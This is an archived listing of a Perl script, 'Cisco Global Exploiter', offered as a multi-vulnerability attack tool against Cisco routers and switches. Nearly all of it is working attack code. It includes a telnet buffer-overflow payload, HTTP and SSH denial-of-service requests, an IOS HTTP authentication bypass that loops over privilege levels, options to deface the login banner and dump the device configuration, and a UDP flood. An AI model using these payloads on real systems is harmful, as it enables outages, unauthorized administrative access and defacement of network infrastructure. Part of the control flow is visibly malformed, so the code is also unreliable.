home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / Cisco-Global-Exploiter.pl < prev    next >
Perl Script  |  2005-02-12  |  12KB  |  377 lines

  1. #!/usr/bin/perl
  2.  
  3. ##
  4. #   Cisco Global Exploiter
  5. #
  6. #   Legal notes :
  7. #   The BlackAngels staff refuse all responsabilities 
  8. #   for an incorrect or illegal use of this software 
  9. #   or for eventual damages to others systems.
  10. #
  11. #   www blackangels it
  12. ##
  13.  
  14.  
  15.  
  16. ############
  17. # Modules ##
  18. ############
  19.  
  20. use Socket;
  21. use IO::Socket;
  22.  
  23.  
  24. #########
  25. # Main ##
  26. #########
  27.  
  28. $host = "";
  29. $expvuln = "";
  30. $host = @ARGV[ 1 ];
  31. $expvuln = @ARGV[ 3 ];
  32.  
  33. if ($host eq "") {
  34. usage();
  35. }
  36. if ($expvuln eq "") {
  37. usage();
  38. }
  39. if ($expvuln eq "1") {
  40. cisco1();
  41. elsif ($expvuln eq "2") {
  42. cisco2();
  43. elsif ($expvuln eq "3") {
  44. cisco3();
  45. elsif ($expvuln eq "4") {
  46. cisco4();
  47. elsif ($expvuln eq "5") {
  48. cisco5();
  49. elsif ($expvuln eq "6") {
  50. cisco6();
  51. elsif ($expvuln eq "7") {
  52. cisco7();
  53. elsif ($expvuln eq "8") {
  54. cisco8();
  55. elsif ($expvuln eq "9") {
  56. cisco9();
  57. }
  58. else {
  59. printf "\nInvalid vulnerability number ...\n\n";
  60. exit(1);
  61. }
  62.  
  63.  
  64. ##############
  65. # Functions ##
  66. ##############
  67.  
  68. sub usage
  69. {
  70.   printf "\nUsage :\n";
  71.   printf "perl cge.pl -h <host> -v <vulnerability number>\n\n";
  72.   printf "Vulnerabilities list :\n";
  73.   printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  74.   printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  75.   printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  76.   printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  77.   printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  78.   printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  79.   printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  80.   printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  81.   printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n\n";
  82.   exit(1);
  83. }
  84.  
  85. sub cisco1              # Cisco 677/678 Telnet Buffer Overflow Vulnerability
  86. {
  87.   my $serv = $host;
  88.   my $dch = "?????????????????a~                %%%%%XX%%%%%"; 
  89.   my $num = 30000;
  90.   my $string .= $dch x $num; 
  91.   my $shc="\015\012";
  92.  
  93.   my $sockd = IO::Socket::INET->new (
  94.                                      Proto    => "tcp",
  95.                                      PeerAddr => $serv,
  96.                                      PeerPort => "(23)",
  97.                                      ) || die("No telnet server detected on $serv ...\n\n");
  98.  
  99.   $sockd->autoflush(1);
  100.   print $sockd "$string". $shc;
  101.   while (<$sockd>){ print }
  102.   print("\nPacket sent ...\n");
  103.   sleep(1);
  104.   print("Now checking server's status ...\n");
  105.   sleep(2);
  106.  
  107.   my $sockd2 = IO::Socket::INET->new (
  108.                                       Proto    => "tcp",
  109.                                       PeerAddr => $serv,
  110.                                       PeerPort => "(23)",
  111.                                       ) || die("Vulnerability successful exploited. Target server is down ...\n\n");
  112.  
  113.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");   
  114.   exit(1);
  115. }
  116.  
  117. sub cisco2              # Cisco IOS Router Denial of Service Vulnerability
  118. {
  119.   my $serv = $host;
  120.  
  121.   my $sockd = IO::Socket::INET->new (
  122.                                      Proto=>"tcp",
  123.                                      PeerAddr=>$serv,
  124.                                      PeerPort=>"http(80)",);
  125.                                      unless ($sockd){die "No http server detected on $serv ...\n\n"};
  126.   $sockd->autoflush(1);
  127.   print $sockd "GET /\%\% HTTP/1.0\n\n";
  128.   -close $sockd;
  129.   print "Packet sent ...\n";
  130.   sleep(1);
  131.   print("Now checking server's status ...\n");
  132.   sleep(2);
  133.  
  134.   my $sockd2 = IO::Socket::INET->new (
  135.                                       Proto=>"tcp",
  136.                                       PeerAddr=>$serv,
  137.                                       PeerPort=>"http(80)",);
  138.                                       unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  139.  
  140.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");   
  141.   exit(1);
  142. }
  143.  
  144. sub cisco3              # Cisco IOS HTTP Auth Vulnerability
  145. {
  146.   my $serv= $host;
  147.   my $n=16;
  148.   my $port=80;
  149.   my $target = inet_aton($serv);
  150.   my $fg = 0;
  151.  
  152.   LAB: while ($n<100) { 
  153.   my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  154.   foreach $line (@results){
  155.           $line=~ tr/A-Z/a-z/;
  156.           if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
  157.           if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  158.   }  
  159.  
  160.   if ($fg==1) {
  161.                sleep(2);
  162.                print "Vulnerability unsuccessful exploited with $n ...\n\n\r";
  163.               }
  164.   else {
  165.         sleep(2);
  166.         print "Vulnerability successful exploited with $n ...\n\n\r"; 
  167.         last LAB; 
  168.        }
  169.         
  170.   $n++;
  171.  
  172.   sub exploit {
  173.                my ($pstr)=@_;
  174.                socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  175.                die("Unable to initialize socket ...\n\n");
  176.                if(connect(S,pack "SnA4x8",2,$port,$target)){
  177.                                                             my @in;
  178.                                                             select(S);      
  179.                                                             $|=1;  
  180.                                                             print $pstr;
  181.                                                             while(<S>){ push @in, $_;}
  182.                                                             select(STDOUT); close(S); return @in;
  183.                                                            } 
  184.   else { die("No http server detected on $serv ...\n\n"); }
  185.   }
  186.   }    
  187.   exit(1);
  188. }
  189.  
  190. sub cisco4              # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
  191. {
  192.   my $serv = $host;
  193.   my $n = 16;
  194.  
  195.   while ($n <100) { 
  196.                    exploit1("GET /level/$n/exec/- HTTP/1.0\n\n");
  197.                    $wr =~ s/\n//g;
  198.                    if ($wr =~ /200 ok/) { 
  199.                                               while(1)
  200.                                               { print "\nVulnerability could be successful exploited. Please choose a type of attack :\n";
  201.                                                 print "[1] Banner change\n";
  202.                                                 print "[2] List vty 0 4 acl info\n";
  203.                                                 print "[3] Other\n";
  204.                                                 print "Enter a valid option [ 1 - 2 - 3 ] : ";
  205.                                                 $vuln = <STDIN>; 
  206.                                                 chomp($vuln);
  207.  
  208.                    if ($vuln == 1) { 
  209.                                     print "\nEnter deface line : ";
  210.                                     $vuln = <STDIN>; 
  211.                                     chomp($vuln);
  212.                                     exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n");
  213.                                    }
  214.                    elsif ($vuln == 2) { 
  215.                                        exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n"); 
  216.                                        print "$wrf";
  217.                                       } 
  218.                    elsif ($vuln == 3) 
  219.                                       { print "\nEnter attack URL : ";
  220.                                         $vuln = <STDIN>; 
  221.                                         chomp($vuln);
  222.                                         exploit1("GET /$vuln HTTP/1.0\n\n");
  223.                                         print "$wrf";
  224.                                       }
  225.          }
  226.          }
  227.          $wr = ""; 
  228.          $n++;
  229.   }
  230.   die "Vulnerability unsuccessful exploited ...\n\n";
  231.  
  232.   sub exploit1 { 
  233.                 my $sockd = IO::Socket::INET -> new (
  234.                                                      Proto    => 'tcp',
  235.                                                      PeerAddr => $serv,
  236.                                                      PeerPort  => 80,
  237.                                                      Type      => SOCK_STREAM,
  238.                                                      Timeout   => 5);
  239.                                                      unless($sockd){die "No http server detected on $serv ...\n\n"}
  240.   $sockd->autoflush(1);
  241.   $sockd -> send($_[0]);
  242.   while(<$sockd>){$wr .= $_} $wrf = $wr;
  243.   close $sockd;
  244.   } 
  245.   exit(1);  
  246. }
  247.  
  248. sub cisco5              # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
  249. {
  250.   my $serv = $host; 
  251.   my $port = 22; 
  252.   my $vuln = "a%a%a%a%a%a%a%";
  253.  
  254.   my $sockd = IO::Socket::INET->new (
  255.                                      PeerAddr => $serv,
  256.                                      PeerPort => $port,
  257.                                      Proto    => "tcp")
  258.                                      || die "No ssh server detected on $serv ...\n\n";
  259.  
  260.   print "Packet sent ...\n";
  261.   print $sockd "$vuln";
  262.   close($sockd);
  263.   exit(1);
  264. }
  265.  
  266. sub cisco6              # Cisco 675 Web Administration Denial of Service Vulnerability
  267. {
  268.   my $serv = $host; 
  269.   my $port = 80; 
  270.   my $vuln = "GET ? HTTP/1.0\n\n";
  271.  
  272.   my $sockd = IO::Socket::INET->new (
  273.                                      PeerAddr => $serv,
  274.                                      PeerPort => $port,
  275.                                      Proto    => "tcp")
  276.                                      || die "No http server detected on $serv ...\n\n";
  277.  
  278.   print "Packet sent ...\n";
  279.   print $sockd "$vuln";
  280.   sleep(2);
  281.   print "\nServer response :\n\n";
  282.   close($sockd);   
  283.   exit(1);
  284. }
  285.  
  286. sub cisco7              # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
  287. {
  288.   my $serv = $host; 
  289.   my $port = 80; 
  290.   my $k = "";
  291.   
  292.   print "Enter a file to read [ /show/config/cr set as default ] : ";
  293.   $k = <STDIN>;
  294.   chomp ($k);
  295.   if ($k eq "")
  296.   {$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";}
  297.   else
  298.   {$vuln = "GET /exec$k HTTP/1.0\n\n";}
  299.  
  300.   my $sockd = IO::Socket::INET->new (
  301.                                      PeerAddr => $serv,
  302.                                      PeerPort => $port,
  303.                                      Proto    => "tcp")
  304.                                      || die "No http server detected on $serv ...\n\n";
  305.  
  306.   print "Packet sent ...\n";
  307.   print $sockd "$vuln";
  308.   sleep(2);
  309.   print "\nServer response :\n\n";
  310.   while (<$sockd>){print}
  311.   close($sockd);   
  312.   exit(1);
  313. }
  314.  
  315. sub cisco8              # Cisco IOS Software HTTP Request Denial of Service Vulnerability 
  316. {
  317.   my $serv = $host; 
  318.   my $port = 80; 
  319.   my $vuln = "GET /error?/ HTTP/1.0\n\n";
  320.  
  321.   my $sockd = IO::Socket::INET->new (
  322.                                      PeerAddr => $serv,
  323.                                      PeerPort => $port,
  324.                                      Proto    => "tcp")
  325.                                      || die "No http server detected on $serv ...\n\n";
  326.  
  327.   print "Packet sent ...\n";
  328.   print $sockd "$vuln";
  329.   sleep(2);
  330.   print "\nServer response :\n\n";
  331.   while (<$sockd>){print}
  332.   close($sockd);   
  333.   exit(1);
  334. }
  335.  
  336. sub cisco9              # Cisco 514 UDP Flood Denial of Service Vulnerability
  337. {
  338.   my $ip = $host;
  339.   my $port = "514";
  340.   my $ports = ""; 
  341.   my $size = "";
  342.   my $i = "";
  343.  
  344.   print "Input packets size : ";
  345.   $size = <STDIN>; 
  346.   chomp($size);
  347.  
  348.   socket(SS, PF_INET, SOCK_DGRAM, 17);
  349.   my $iaddr = inet_aton("$ip");
  350.  
  351.   for ($i=0; $i<10000; $i++) 
  352.   {send(SS, 0, $size, sockaddr_in($port, $iaddr));}
  353.  
  354.   printf "\nPackets sent ...\n";
  355.   sleep(2);
  356.   printf "Please enter a server's open port : ";
  357.   $ports = <STDIN>;
  358.   chomp $ports;
  359.   printf "\nNow checking server status ...\n";
  360.   sleep(2);
  361.  
  362.   socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
  363.   my $dest = sockaddr_in ($ports, inet_aton($ip));
  364.   connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";
  365.  
  366.   printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
  367.   exit(1);
  368.